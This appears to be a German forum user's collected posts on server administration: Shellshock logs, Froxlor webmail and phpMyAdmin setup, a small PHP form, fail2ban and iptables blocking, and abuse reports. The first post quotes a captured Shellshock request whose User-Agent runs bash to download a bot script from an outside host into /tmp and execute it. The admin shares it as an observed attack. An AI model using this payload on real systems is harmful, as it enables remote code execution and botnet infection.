Beiträge von extremmichi

  • Update bezgl Bash-Lücke

    ich hab noch n viel besseren ;)

    Code
    213.254.12.125 - - [28/Sep/2014:05:33:45 +0200] "GET / HTTP/1.0" 200 455 "-" "() { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh""

    aber sollte nicht eigentlich ne 400 zurück gegeben werden ?

  • Webmail + MYSQL

    um deine emails aufzurufen , musst du vorher einen webmailer auf deinem Server installieren
    der von dir genannte link betrifft nur die Webspacekunden.
    Du installierst also erstmal roundcube auf deinem Server und errreichst das dann unter http://dein_server.de/roundcube

    zu mysql
    nein das brauchst du nicht installieren
    ich hatte dich so verstanden , dass du den link zu phpmyadmin suchst
    mein Fehler ;)
    wenn du nur ne Datenbank erstellen willst , musst du zuerst einen Kunden anlegen und als dieser einloggen , dann kannst du Datenbanken erstellen

  • Webmail + MYSQL

    Im Froxlor Image ist kein Webmail und auch kein phpMyAdmin installiert.
    diese musst du selbst installieren.
    danach kannst du in Froxlor unter

    -Server
    -Einstellungen
    -Paneleinstellungen

    die Pfade zu PMA und deinem Webmailer
    eintragen.Danach sollten die links im Menü des Users sichtbar sein


    Gruss

    michi

  • Mini-Benchmark Skript

    KVM-Neptun:


    Gruss

    michi

  • Interne Weiterleitung?

    ka warum du nicht einfach n

    Code
    <a href="register.php">Benutzerkonto anmelden </a>>


    nutzt denn du überträgst ja keine Daten
    aber wenn s unbedingt n Formular sein soll
    dann eher so ;)

    PHP
    <?php  
echo "Herzlich Willkommen!<br>"; //Begrüßung
$ip = $_SERVER["REMOTE_ADDR"]; //IP-Adresse des Benutzers in $ip speichern
echo "Deine WAN-IP-Adresse ist: $ip<br>"; //$ip des Nutzers ausgeben
?>
<form name="form" action="register.php">
<input type="submit" value="Benutzerkonto anlegen"  />
</form>


    Gruss

    michi

  • Iptables max Grenze an gesperrten IP's

    ich denke ich hab mich da etwas schlecht ausgedrückt ;)
    Es war der Fall, dass über 100 verschiedene Rechner(IP's) auf eine meiner Domains gestürzt haben.
    Und dies die ganze Nacht hindurch. Fail2ban ist bei sehr scharf gestellt und so wurde jede IP nach dem Dritten
    Versuch geblockt. Als ich dann morgends meine Mails angeschaut habe, waren da auf einmal 90 mails drin.
    Da ich dann aber zur Arbeit musste(nein kein PC-Job), musste ich ja schnell ne Lösung finden , da ich nicht
    wusste wie lange der/die noch weitermachen und wieviele Einträge die FW zulässt, bevor "irgendwas Unerwartetes"
    eintrifft, da ich das so extrem noch nciht hatte.
    Es ist also nicht so , dass ich eine besonders komplizierte bzw. komplexe FW betreibe.
    Es sind nur die üblichen Dienste und ein paar Ports , die nur von Zuhause erreichbar sind, eingestellt.
    Naja und dann die Filter von f2b eben ....

    Gruss

    michi

  • Storagespace und iptables

    Zitat von RayMD

    Vielleicht kann auch Netcup hier weiter helfen, was die Ports angeht. RPC 111 TCP/UDP und NFS 2049 TCP/UDP sind halt standard, aber keine Ahnung ob der RPC Mountd Port statisch oder dynamisch ist und auf was der horcht. Sonst könnte man es leicht anpassen und die Sicherheit ein klein wenig erhöhen :)


    Naja wenn netcup die ports ändert , müssten sie sie auch im wiki hinterlegen,
    also öffentlich, und dann ist ' ja mit der Sicherheit auch wieder hinfällig. ;)


    Gruss

    michi

  • Abusemeldung verfassen

    danke euch beiden für die Antworten
    na dann werd ich mal..... ;)

    @Mainborder
    eine bekannte Suchmaschine hat mich auf deinen Blog gebracht
    dort hab ich die Automation über blocklist gesehen.
    Schöner gutvertsändlicher Artikel

    gruss

    michi

    EDIT:
    ich noch mal

    Was lese ich jetzt daraus?

    Code
    #iptables -L -n -v
Chain fail2ban-courierauth (1 references)
 pkts bytes target 	prot opt in 	out 	source           	destination     	
 2350  113K DROP   	all  --  *  	*   	5.34.XXX.XXX     	0.0.0.0/0       	
36235 3588K RETURN 	all  --  *  	*   	0.0.0.0/0        	0.0.0.0/0

  • Abusemeldung verfassen

    noch ist nix passiert ;)
    fail2ban blockt die ip regelmässig
    für 12 h aber nach den 12 h ist der sofort
    wieder da und dann auch wieder gesperrt.
    Also denke ich mir, da er nicht weiss wie lange
    er gesperrt wird , laufen die loginversuche durch.
    Das geht jetzt seit 3 Tagen so. Ich bin ja nicht kleinlich
    aber sowas sollte man dann auch melden oder?
    Achso ja läuft alles am pop3 ab

    gruss

    michi